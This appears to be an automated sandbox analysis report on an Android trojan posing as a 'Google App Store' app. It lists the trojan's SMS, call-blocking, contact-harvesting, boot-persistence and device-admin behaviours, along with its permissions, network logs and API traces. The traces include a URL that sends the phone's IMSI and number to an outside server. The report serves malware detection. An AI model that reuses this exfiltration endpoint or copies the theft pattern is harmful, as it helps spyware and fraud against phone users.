Loading ...

General Information

Analysis ID:1416
Start time:11:06:57
Start date:18/02/2014
Overall analysis duration:0h 7m 16s
Report type:full
Sample file name:0D28FA54F9C0D41801E8FB5A7B0433DD.apk
Cookbook file name:default.jbs
Analysis system description:Android 4.0 EEE PC
Warnings:
  • No interacted views


Detection

StrategyReport FP/FN
Threshold


Signature Overview

Change of System Appearance:

Mutes phone vibrationShow sources
Mutes ringtone soundShow sources

Operating System Destruction:

Deletes other packagesShow sources

Spam, unwanted Advertisements and Ransom Demands:

May perform phone calls in the backgroundShow sources
May send SMS in backgroundShow sources
May block phone calls / Accesses private ITelephony interfaceShow sources
Sends SMS using SmsManagerShow sources

Networking:

Urls found in memory or binary dataShow sources
Uses HTTP for connecting to the internetShow sources
Checks an internet connection is availableShow sources
Opens an internet connectionShow sources
Performs DNS lookupsShow sources

Boot Survival:

Executes code after phone rebootShow sources
Starts a service on phone boot (autostart)Show sources

Stealing of Sensitive Information:

May spy personal data reading low-level logfilesShow sources
Queries list of installed packagesShow sources
Monitors incoming Phone callsShow sources
Monitors incoming SMSShow sources
Queries phone contact informationShow sources
Reads the incoming call numberShow sources

Persistence and Installation Behavior:

Sets an intent to the APK data type (used to install other APKs)Show sources

Data Obfuscation:

Uses reflectionShow sources

Spreading:

Accesses external storage locationShow sources

System Summary:

Requests potentially dangerous permissionsShow sources

Virtual Machine Detection:

Accesses android OS build fieldsShow sources

Language, Device and Operating System Detection:

Queries the unqiue device ID (IMEI, MEID or ESN)Show sources

Screenshot

Contacted Domains

NameIPName ServerActiveRegistrare-Mail
www.slmoney.co.krunknownunknownunknownunknownunknown
pool.ntp.orgunknownunknownunknownunknownunknown

Contacted IPs

IPCountryPingableOpen Ports
8.8.8.8United Statesunknownunknown

Static File Info

File type:Zip archive data, at least v2.0 to extract
File name:0D28FA54F9C0D41801E8FB5A7B0433DD.apk
File size:230785
MD5:0d28fa54f9c0d41801e8fb5a7b0433dd
SHA1:22f31813d98d8a65e7608f4377eb30bc221a4edd
SHA256:2528e2ba0049cfbcd9d7d1af81cd75aaebaa479482f3a8c97011540ee0b380bf
SHA512:39c74de6d2198292799a753fb5bba4114a373d02a65b41ed3b04cd032baf16f95a5e3d03addc3ba294cb186bf1f9675a68ac34b681fb6a735f8ebdfec0992236

Static APK Info

General
Label:Google App Store
Minium SDK required:8
Target SDK required:14
Version Code:2
Version Name:2
Package Name:com.example.adt
Is Activity:true
Is Receiver:true
Is Service:true
Requests System Level Permissions:false
Play Store Compatible:true
Activities
NameIs Entrypoint
com.example.adtcom.example.adt.MainActivitytrue
Receivers
  • com.example.adt.BootBroadcastReceiver
  • Intent: android.intent.action.BOOT_COMPLETED, android.intent.action.PACKAGE_ADDED, android.intent.action.PACKAGE_REMOVED, cn.gx3.notify, android.intent.action.USER_PRESENT
  • com.example.adt.LockReceiver
  • Intent: android.app.action.DEVICE_ADMIN_ENABLED
  • com.example.adt.PhoneListener
  • Intent: android.intent.action.PHONE_STATE
  • com.example.adt.SMSReceiver
  • Intent: android.provider.Telephony.SMS_RECEIVED
Services
  • com.example.adt.CoreService
Permission Requested
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.ACCESS_WIFI_STATE
  • android.permission.CALL_PHONE
  • android.permission.CHANGE_WIFI_STATE
  • android.permission.GET_TASKS
  • android.permission.INTERNET
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.MODIFY_AUDIO_SETTINGS
  • android.permission.MODIFY_PHONE_STATE
  • android.permission.READ_CONTACTS
  • android.permission.READ_LOGS
  • android.permission.READ_PHONE_STATE
  • android.permission.RECEIVE_BOOT_COMPLETED
  • android.permission.RECEIVE_SMS
  • android.permission.RESTART_PACKAGES
  • android.permission.SEND_SMS
  • android.permission.SYSTEM_ALERT_WINDOW
  • android.permission.VIBRATE
  • android.permission.WAKE_LOCK
  • android.permission.WRITE_CONTACTS
  • android.permission.WRITE_EXTERNAL_STORAGE
  • com.android.launcher.permission.INSTALL_SHORTCUT
  • com.android.launcher.permission.UNINSTALL_SHORTCUT
Certifcate
Name:classes.dex
Issuer:1.2.840.113549.1.9.1=#1613616e64726f696440616e64726f69642e636f6d,CN=Android,OU=Android,O=Android,L=Mountain View,ST=California,C=US
Subject:1.2.840.113549.1.9.1=#1613616e64726f696440616e64726f69642e636f6d,CN=Android,OU=Android,O=Android,L=Mountain View,ST=California,C=US
Resources
NameType
AndroidManifest.xml DBase 3 data file (8940 records)
assets/config.ini ASCII text, with CRLF line terminators
res/drawable-mdpi/ic_launcher.png PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
META-INF/CERT.RSA data
res/drawable-hdpi/hn.png PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
res/drawable-hdpi/nh.png PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
res/layout/activity_main.xml DBase 3 data file (364 records)
META-INF/CERT.SF ASCII text, with CRLF line terminators
res/drawable-xhdpi/ic_launcher.png PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
res/menu/activity_main.xml DBase 3 data file (464 records)
res/drawable-hdpi/wr.png PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
META-INF/MANIFEST.MF ASCII text, with CRLF line terminators
classes.dex Dalvik dex file version 035
res/drawable-hdpi/ic_launcher.png PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
resources.arsc data
res/xml/lock_screen.xml DBase 3 data file (392 records)
res/drawable-ldpi/ic_launcher.png PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced
res/drawable-hdpi/sh.png PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced

Network Behavior

TCP Packets
TimestampSource PortDest PortSource IPDest IP
Feb 18, 2014 11:07:41.722158909 CET2526653192.168.2.58.8.8.8
Feb 18, 2014 11:07:41.722353935 CET2459253192.168.2.58.8.8.8
Feb 18, 2014 11:07:41.722481012 CET2471953192.168.2.58.8.8.8
Feb 18, 2014 11:07:41.722599983 CET2432553192.168.2.58.8.8.8
Feb 18, 2014 11:07:41.722831964 CET2449453192.168.2.58.8.8.8
Feb 18, 2014 11:07:41.722970963 CET2440953192.168.2.58.8.8.8
Feb 18, 2014 11:07:41.723095894 CET2377353192.168.2.58.8.8.8
Feb 18, 2014 11:07:46.729012012 CET2377353192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.850508928 CET1150553192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.850661993 CET1104253192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.850780964 CET1116753192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.850892067 CET1076553192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.851131916 CET1142953192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.851249933 CET1132653192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.851404905 CET1165453192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.260426044 CET1301053192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.260622025 CET1327353192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.260744095 CET930753192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.260859013 CET938653192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.261113882 CET928353192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.261275053 CET1014753192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.261398077 CET1002953192.168.2.58.8.8.8
UDP Packets
TimestampSource PortDest PortSource IPDest IP
Feb 18, 2014 11:07:41.722158909 CET2526653192.168.2.58.8.8.8
Feb 18, 2014 11:07:41.722353935 CET2459253192.168.2.58.8.8.8
Feb 18, 2014 11:07:41.722481012 CET2471953192.168.2.58.8.8.8
Feb 18, 2014 11:07:41.722599983 CET2432553192.168.2.58.8.8.8
Feb 18, 2014 11:07:41.722831964 CET2449453192.168.2.58.8.8.8
Feb 18, 2014 11:07:41.722970963 CET2440953192.168.2.58.8.8.8
Feb 18, 2014 11:07:41.723095894 CET2377353192.168.2.58.8.8.8
Feb 18, 2014 11:07:46.729012012 CET2377353192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.850508928 CET1150553192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.850661993 CET1104253192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.850780964 CET1116753192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.850892067 CET1076553192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.851131916 CET1142953192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.851249933 CET1132653192.168.2.58.8.8.8
Feb 18, 2014 11:08:14.851404905 CET1165453192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.260426044 CET1301053192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.260622025 CET1327353192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.260744095 CET930753192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.260859013 CET938653192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.261113882 CET928353192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.261275053 CET1014753192.168.2.58.8.8.8
Feb 18, 2014 11:13:59.261398077 CET1002953192.168.2.58.8.8.8
ICMP Packets
TimestampSource IPDest IPChecksumCodeType
Feb 18, 2014 11:07:41.722208023 CET8.8.8.8192.168.2.5cff1(Port unreachable)Destination Unreachable
Feb 18, 2014 11:07:41.722366095 CET8.8.8.8192.168.2.5cff1(Port unreachable)Destination Unreachable
Feb 18, 2014 11:07:41.722492933 CET8.8.8.8192.168.2.5cff1(Port unreachable)Destination Unreachable
Feb 18, 2014 11:07:41.722610950 CET8.8.8.8192.168.2.5cff1(Port unreachable)Destination Unreachable
Feb 18, 2014 11:07:41.722845078 CET8.8.8.8192.168.2.5cff1(Port unreachable)Destination Unreachable
Feb 18, 2014 11:07:41.722981930 CET8.8.8.8192.168.2.5cff1(Port unreachable)Destination Unreachable
Feb 18, 2014 11:07:46.729048014 CET8.8.8.8192.168.2.5cff1(Port unreachable)Destination Unreachable
Feb 18, 2014 11:08:14.850543022 CET8.8.8.8192.168.2.5cff6(Port unreachable)Destination Unreachable
Feb 18, 2014 11:08:14.850673914 CET8.8.8.8192.168.2.5cff6(Port unreachable)Destination Unreachable
Feb 18, 2014 11:08:14.850792885 CET8.8.8.8192.168.2.5cff6(Port unreachable)Destination Unreachable
Feb 18, 2014 11:08:14.850903034 CET8.8.8.8192.168.2.5cff6(Port unreachable)Destination Unreachable
Feb 18, 2014 11:08:14.851145029 CET8.8.8.8192.168.2.5cff6(Port unreachable)Destination Unreachable
Feb 18, 2014 11:08:14.851263046 CET8.8.8.8192.168.2.5cff6(Port unreachable)Destination Unreachable
Feb 18, 2014 11:13:59.260477066 CET8.8.8.8192.168.2.5cff1(Port unreachable)Destination Unreachable
Feb 18, 2014 11:13:59.260634899 CET8.8.8.8192.168.2.5cff1(Port unreachable)Destination Unreachable
Feb 18, 2014 11:13:59.260755062 CET8.8.8.8192.168.2.5cff1(Port unreachable)Destination Unreachable
Feb 18, 2014 11:13:59.260869980 CET8.8.8.8192.168.2.5cff1(Port unreachable)Destination Unreachable
Feb 18, 2014 11:13:59.261126995 CET8.8.8.8192.168.2.5cff1(Port unreachable)Destination Unreachable
Feb 18, 2014 11:13:59.261287928 CET8.8.8.8192.168.2.5cff1(Port unreachable)Destination Unreachable
DNS Queries
TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
Feb 18, 2014 11:07:41.722158909 CET192.168.2.58.8.8.80x5eaeStandard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:07:41.722353935 CET192.168.2.58.8.8.80x5eaeStandard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:07:41.722481012 CET192.168.2.58.8.8.80x5c80Standard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:07:41.722599983 CET192.168.2.58.8.8.80x5c80Standard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:07:41.722831964 CET192.168.2.58.8.8.80x5ba2Standard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:07:41.722970963 CET192.168.2.58.8.8.80x5ba2Standard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:07:41.723095894 CET192.168.2.58.8.8.80x58d3Standard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:07:46.729012012 CET192.168.2.58.8.8.80x58d3Standard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:08:14.850508928 CET192.168.2.58.8.8.80x28efStandard query (0)www.slmoney.co.krA (IP address)IN (0x0001)
Feb 18, 2014 11:08:14.850661993 CET192.168.2.58.8.8.80x28efStandard query (0)www.slmoney.co.krA (IP address)IN (0x0001)
Feb 18, 2014 11:08:14.850780964 CET192.168.2.58.8.8.80x2790Standard query (0)www.slmoney.co.krA (IP address)IN (0x0001)
Feb 18, 2014 11:08:14.850892067 CET192.168.2.58.8.8.80x2790Standard query (0)www.slmoney.co.krA (IP address)IN (0x0001)
Feb 18, 2014 11:08:14.851131916 CET192.168.2.58.8.8.80x28b5Standard query (0)www.slmoney.co.krA (IP address)IN (0x0001)
Feb 18, 2014 11:08:14.851249933 CET192.168.2.58.8.8.80x28b5Standard query (0)www.slmoney.co.krA (IP address)IN (0x0001)
Feb 18, 2014 11:08:14.851404905 CET192.168.2.58.8.8.80x2998Standard query (0)www.slmoney.co.krA (IP address)IN (0x0001)
Feb 18, 2014 11:13:59.260426044 CET192.168.2.58.8.8.80x2ea1Standard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:13:59.260622025 CET192.168.2.58.8.8.80x2ea1Standard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:13:59.260744095 CET192.168.2.58.8.8.80x2020Standard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:13:59.260859013 CET192.168.2.58.8.8.80x2020Standard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:13:59.261113882 CET192.168.2.58.8.8.80x2075Standard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:13:59.261275053 CET192.168.2.58.8.8.80x2075Standard query (0)pool.ntp.orgA (IP address)IN (0x0001)
Feb 18, 2014 11:13:59.261398077 CET192.168.2.58.8.8.80x2356Standard query (0)pool.ntp.orgA (IP address)IN (0x0001)

APK Behavior

Installation Messages
NameIs Error
Running dexopt on: com.example.adt; New package installed in /data/app/com.example.adt-1.apk; Not granting permission android.permission.MODIFY_PHONE_STATE to package com.example.adt (protectionLevel=3 flags=0x8be46); generateServicesMap(android.accounts.AccountAuthenticator): 3 services unchanged; generateServicesMap(android.content.SyncAdapter): 14 services unchangedfalse
Started Services
Registered Receivers
Simulated Events
TypeData
boot completed
  • -
time tick
  • -
incoming sms
  • 0123456789
  • this is a text message
outgoing sms
  • 9876543210
  • thank you
location change
  • 54.13
  • 12.14
incoming call
  • 0123456789
outgoing call
  • 9876543210
time tick
  • -
API: java.net.URL->openConnection at com.example.adt.Connect.getHttpConnection:13 Show source
NameTypeValue
Return Valuelibcore.net.http.HttpURLConnectionImpl
  • toString: libcore.net.http.HttpURLConnectionImpl:http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=696398736866155&number=852607195656783&content=null
API: android.content.ContentResolver->query at com.example.adt.Contact.getPhoneContacts:17 Show source
NameTypeValue
p0android.net.Uri$HierarchicalUri
  • toString: content://com.android.contacts/data/phones
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a0675ed0
  • Arrays.toString: [display_name, data1, photo_id, contact_id]
p2null
  • toString: null
p3null
  • toString: null
p4null
  • toString: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a068a168
API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 136388846190534
API: android.telephony.TelephonyManager->getSubscriberId at com.example.adt.Config.getIMSI:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 420509993185509
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.Config.isNetworkConnected:10 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.Config.getAPNType:15 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.CoreService.NetWorkStatus:9 Show source
API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:10 Show source
API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:16 Show source
API: java.net.URL->openConnection at com.example.adt.HttpDownloader.download:14 Show source
API: java.net.URL->openConnection at com.example.adt.DownLoad.downloadFile:8 Show source
API: java.net.URL->openConnection at com.example.adt.DownLoad.downLoadFile:61 Show source
API: java.net.URL->openConnection at com.example.adt.HttpDownloader.getInputStreamFromURL:11 Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> at com.example.adt.Connect.postHttpConnection:43 Show source
API: android.telephony.SmsManager->sendTextMessage at com.example.adt.SMS.sendData:51 Show source
API: android.app.NotificationManager->notify at com.example.adt.CoreService.showNofity:42 Show source
API: com.example.adt.MainActivity->getSystemService at com.example.adt.Config.getPhoneNumber:5 Show source
NameTypeValue
namejava.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067c620
API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 136388846190534
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getIMSI:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a069a2c0
API: android.telephony.TelephonyManager->getSubscriberId at com.example.adt.Config.getIMSI:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 420509993185509
API: android.app.SharedPreferencesImpl->getString at com.example.adt.Config.get:11 Show source
NameTypeValue
p0java.lang.String
  • toString: serverip
p1java.lang.String
  • toString: http://www.slmoney.co.kr
NameTypeValue
Return Valuejava.lang.String
  • toString: http://www.slmoney.co.kr
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getPhoneNumber:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a069a2c0
API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 136388846190534
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getPhoneNumber:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067a750
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getIMSI:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067a750
API: android.telephony.TelephonyManager->getSubscriberId at com.example.adt.Config.getIMSI:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 696398736866155
API: android.app.SharedPreferencesImpl->getString at com.example.adt.Config.get:11 Show source
NameTypeValue
p0java.lang.String
  • toString: serverip
p1java.lang.String
  • toString: http://www.slmoney.co.kr
NameTypeValue
Return Valuejava.lang.String
  • toString: http://www.slmoney.co.kr
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getPhoneNumber:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067a750
API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 852607195656783
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getPhoneNumber:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a06b98b0
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getIMSI:5 Show source
NameTypeValue
p0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a06b98b0
API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 463852237635273
API: java.net.URL-><init> at com.example.adt.Connect.getHttpConnection:9 Show source
NameTypeValue
p0java.lang.String
  • toString: http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=420509993185509&number=136388846190534&content=null
NameTypeValue
Return Valuejava.net.URL
  • toString: http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=420509993185509&number=136388846190534&content=null
API: java.net.URL-><init> at com.example.adt.Connect.getHttpConnection:9 Show source
NameTypeValue
p0java.lang.String
  • toString: http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=696398736866155&number=852607195656783&content=null
NameTypeValue
Return Valuejava.net.URL
  • toString: http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=696398736866155&number=852607195656783&content=null
API: java.net.URL->openConnection at com.example.adt.Connect.getHttpConnection:13 Show source
NameTypeValue
Return Valuelibcore.net.http.HttpURLConnectionImpl
  • toString: libcore.net.http.HttpURLConnectionImpl:http://www.slmoney.co.kr/index.php?m=Api&a=Contact&status=1&imsi=696398736866155&number=852607195656783&content=null
API: android.content.ContentResolver->query at com.example.adt.Contact.getPhoneContacts:17 Show source
NameTypeValue
p0android.net.Uri$HierarchicalUri
  • toString: content://com.android.contacts/data/phones
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a0675ed0
  • Arrays.toString: [display_name, data1, photo_id, contact_id]
p2null
  • toString: null
p3null
  • toString: null
p4null
  • toString: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a068a168
API: android.content.ContentResolver->query at com.example.adt.Contact.getPhoneContacts:17 Show source
NameTypeValue
p0android.net.Uri$HierarchicalUri
  • toString: content://com.android.contacts/data/phones
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a0663510
  • Arrays.toString: [display_name, data1, photo_id, contact_id]
p2null
  • toString: null
p3null
  • toString: null
p4null
  • toString: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a068f088
API: android.content.ContentResolver->query at com.example.adt.Contact.getPhoneContacts:17 Show source
NameTypeValue
p0android.net.Uri$HierarchicalUri
  • toString: content://com.android.contacts/data/phones
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a06642f0
  • Arrays.toString: [display_name, data1, photo_id, contact_id]
p2null
  • toString: null
p3null
  • toString: null
p4null
  • toString: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a0682700
API: java.net.URLEncoder->encode at com.example.adt.Contact$1.run:6 Show source
NameTypeValue
p0java.lang.String
  • toString: ""
NameTypeValue
Return Valuenull
  • toString: null
API: java.net.URLEncoder->encode at com.example.adt.Contact$1.run:6 Show source
NameTypeValue
p0java.lang.String
  • toString: ""
NameTypeValue
Return Valuenull
  • toString: null
API: java.net.URLEncoder->encode at com.example.adt.Contact$1.run:6 Show source
NameTypeValue
p0java.lang.String
  • toString: ""
NameTypeValue
Return Valuenull
  • toString: null
API: com.example.adt.CoreService->registerReceiver at com.example.adt.CoreService.onCreate:99 Show source
NameTypeValue
p0com.example.adt.CoreService$MyBroadcastReciver
  • toString: com.example.adt.CoreService$MyBroadcastReciver@a067b0a8
p1android.content.IntentFilter
  • toString: android.content.IntentFilter@a067ac38
  • getAction0: app.gx3.alert
  • getAction1: app.dwonload.complate
  • getAction2: app.auto.install
  • getAction3: alert.main
NameTypeValue
Return Valuenull
  • toString: null
API: com.example.adt.CoreService->registerReceiver at com.example.adt.CoreService.onCreate:99 Show source
NameTypeValue
p0com.example.adt.CoreService$MyBroadcastReciver
  • toString: com.example.adt.CoreService$MyBroadcastReciver@a067be88
p1android.content.IntentFilter
  • toString: android.content.IntentFilter@a067ba18
  • getAction0: app.gx3.alert
  • getAction1: app.dwonload.complate
  • getAction2: app.auto.install
  • getAction3: alert.main
NameTypeValue
Return Valuenull
  • toString: null
API: android.app.Activity->requestWindowFeature at com.example.adt.MainActivity.onCreate:6 Show source
NameTypeValue
featureIdjava.lang.Integer
  • toString: 1
NameTypeValue
Return Valueandroid.util.AndroidRuntimeException
  • toString: android.util.AndroidRuntimeException: requestFeature() must be called before adding content
API: com.example.adt.MainActivity->getSystemService at com.example.adt.MainActivity.onCreate:18 Show source
NameTypeValue
namejava.lang.String
  • toString: device_policy
NameTypeValue
Return Valueandroid.app.admin.DevicePolicyManager
  • toString: android.app.admin.DevicePolicyManager@a06854f8
API: android.app.admin.DevicePolicyManager->isAdminActive at com.example.adt.MainActivity.onCreate:32 Show source
NameTypeValue
whoandroid.content.ComponentName
  • toString: ComponentInfo{com.example.adt/com.example.adt.LockReceiver}
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: android.content.Intent->putExtra at com.example.adt.MainActivity.activeManager:11 Show source
NameTypeValue
p0java.lang.String
  • toString: android.app.extra.DEVICE_ADMIN
p1android.content.ComponentName
  • toString: ComponentInfo{com.example.adt/com.example.adt.LockReceiver}
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
API: android.content.Intent->putExtra at com.example.adt.MainActivity.activeManager:17 Show source
NameTypeValue
p0java.lang.String
  • toString: android.app.extra.ADD_EXPLANATION
p1java.lang.String
  • toString: [UNREADABLE UNICODE]
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
API: com.example.adt.MainActivity->startActivity at com.example.adt.MainActivity.activeManager:19 Show source
NameTypeValue
intentandroid.content.Intent
  • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
API: com.example.adt.MainActivity->startService at com.example.adt.MainActivity.onCreate:44 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=com.example.adt/.CoreService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.example.adt/com.example.adt.CoreService}
API: android.os.IBinder->queryLocalInterface at com.android.internal.telephony.ITelephony$Stub.asInterface:8 Show source
API: android.os.Binder-><init> at com.android.internal.telephony.ITelephony$Stub.<init>:2 Show source
API: com.android.internal.telephony.ITelephony$Stub->attachInterface at com.android.internal.telephony.ITelephony$Stub.<init>:6 Show source
API: android.os.Binder->onTransact at com.android.internal.telephony.ITelephony$Stub.onTransact:13 Show source
API: android.os.Parcel->writeString at com.android.internal.telephony.ITelephony$Stub.onTransact:19 Show source
API: android.os.Parcel->enforceInterface at com.android.internal.telephony.ITelephony$Stub.onTransact:24 Show source
API: com.android.internal.telephony.ITelephony$Stub->endCall at com.android.internal.telephony.ITelephony$Stub.onTransact:26 Show source
API: android.os.Parcel->writeNoException at com.android.internal.telephony.ITelephony$Stub.onTransact:29 Show source
API: android.os.Parcel->writeInt at com.android.internal.telephony.ITelephony$Stub.onTransact:33 Show source
API: android.os.Parcel->enforceInterface at com.android.internal.telephony.ITelephony$Stub.onTransact:40 Show source
API: com.android.internal.telephony.ITelephony$Stub->answerRingingCall at com.android.internal.telephony.ITelephony$Stub.onTransact:42 Show source
API: android.os.Parcel->writeNoException at com.android.internal.telephony.ITelephony$Stub.onTransact:44 Show source
API: android.os.Parcel->obtain at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:7 Show source
API: android.os.Parcel->obtain at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:10 Show source
API: android.os.Parcel->writeInterfaceToken at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:15 Show source
API: android.os.IBinder->transact at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:21 Show source
API: android.os.Parcel->readException at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:23 Show source
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:25 Show source
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:27 Show source
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:31 Show source
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:33 Show source
API: java.lang.Object-><init> at ..:3 Show source
API: android.os.Parcel->obtain at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:9 Show source
API: android.os.Parcel->obtain at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:12 Show source
API: android.os.Parcel->writeInterfaceToken at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:17 Show source
API: android.os.IBinder->transact at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:23 Show source
API: android.os.Parcel->readException at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:25 Show source
API: android.os.Parcel->readInt at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:27 Show source
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:31 Show source
